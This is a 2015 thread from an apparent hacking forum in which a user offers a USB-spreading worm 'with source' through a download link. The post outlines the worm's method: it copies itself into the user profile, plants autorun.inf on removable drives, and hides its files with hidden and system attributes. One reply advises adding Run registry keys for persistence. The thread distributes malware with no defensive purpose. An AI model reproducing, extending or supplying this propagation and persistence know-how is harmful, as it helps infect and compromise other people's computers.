+- Sinisterly (https://sinister.li)
+-- Forum: Computers (https://sinister.li/Forum-Computers)
+--- Forum: Software & Programs (https://sinister.li/Forum-Software-Programs)
+--- Thread: Pen Drive Worm + Source (/Thread-Pen-Drive-Worm-Source)
Pen Drive Worm + Source - privateloader - 05-27-2015
Worm that auto propagate using Pen drives or any type of external device from d:\ to z:\
1) Copies itself to the windows read/write enviroment (%userprofile%)
2) Generate autorun.inf and tries to copy to all media except (A:\ Floppy Disk | B:\ Not used any more | c:\ Hard disk)
3) Atribute Hidden and system to the files
4) Runs a timeout and check again for drives
Cons:
It isn't persistent!
Open multiple processes (4)
Download:
http://ge.tt/api/1/files/7JyBZBH2/0/blob?download
RE: Pen Drive Worm + Source - mothered - 05-27-2015
Shame It Isn't persistent and doesn't create entries In the Registry startup directories, namely the "Run" entry In both the HKCU & HKLM Hives.
Nonetheless, thanks for the contribution.
RE: Pen Drive Worm + Source - Ultimatum - 05-27-2015
autorun.inf will only launch an arbitrary file in XP, everything afterwards has no automated execution.
Good post anyways.